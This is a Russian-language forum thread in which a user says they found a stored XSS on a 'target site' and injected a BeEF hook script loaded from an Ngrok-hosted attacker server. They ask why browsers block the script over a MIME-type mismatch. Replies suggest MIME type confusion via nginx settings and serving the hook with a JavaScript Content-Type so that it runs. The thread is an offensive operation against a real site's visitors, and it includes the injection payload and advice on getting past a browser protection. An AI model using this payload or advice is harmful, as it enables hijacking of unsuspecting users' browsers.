Stored XSS + BeEF-XSS = палево или глупость?

[d0nt_cont]

Приветствую,прошу совета.
1. Была раскопана XSS Stored на целевом сайте.
2. Был поднят Ngrok + BeEF-XSS.
В stored xss пихаем нагрузку от BeEF <scrpt src="Adress_NGROK[.]com/hook.js"></scrpt>
Видим что скрипт загружается, на стороне браузера ответ GET/200 OK.
НО так же браузер пишет "The resource from https://ngrok.....com/hook.js was blocked due to MIME type ("text/html") mismatch (X-Content-Type-Options: nosniff).

Такой блок появляется,как на тестовой странице (собствено она и на картинке) так и на целевом сайте.

<scrpt type="application/javascript" <= добавлял.
В разных браузерах запускал. От localhost/hook.js работает-все ок.
Могу ошибаться или дело в Ngrok и он добалвяет\запрещает что либо?

Буду признателен за помощь,спасибо.

 

[kiloton]

Читаем про MIME type confusion, а именно как подсунуть .js в качестве .jpg через модификацию хедера с сервера.

> /etc/nginx/mime.types

text/html jpg;

https://csplite.com/csp326/

 

[DrClinker]

На стороне сервера добавь хедер Content-type: application/javascript. Посмотри какой content type возвращает сервер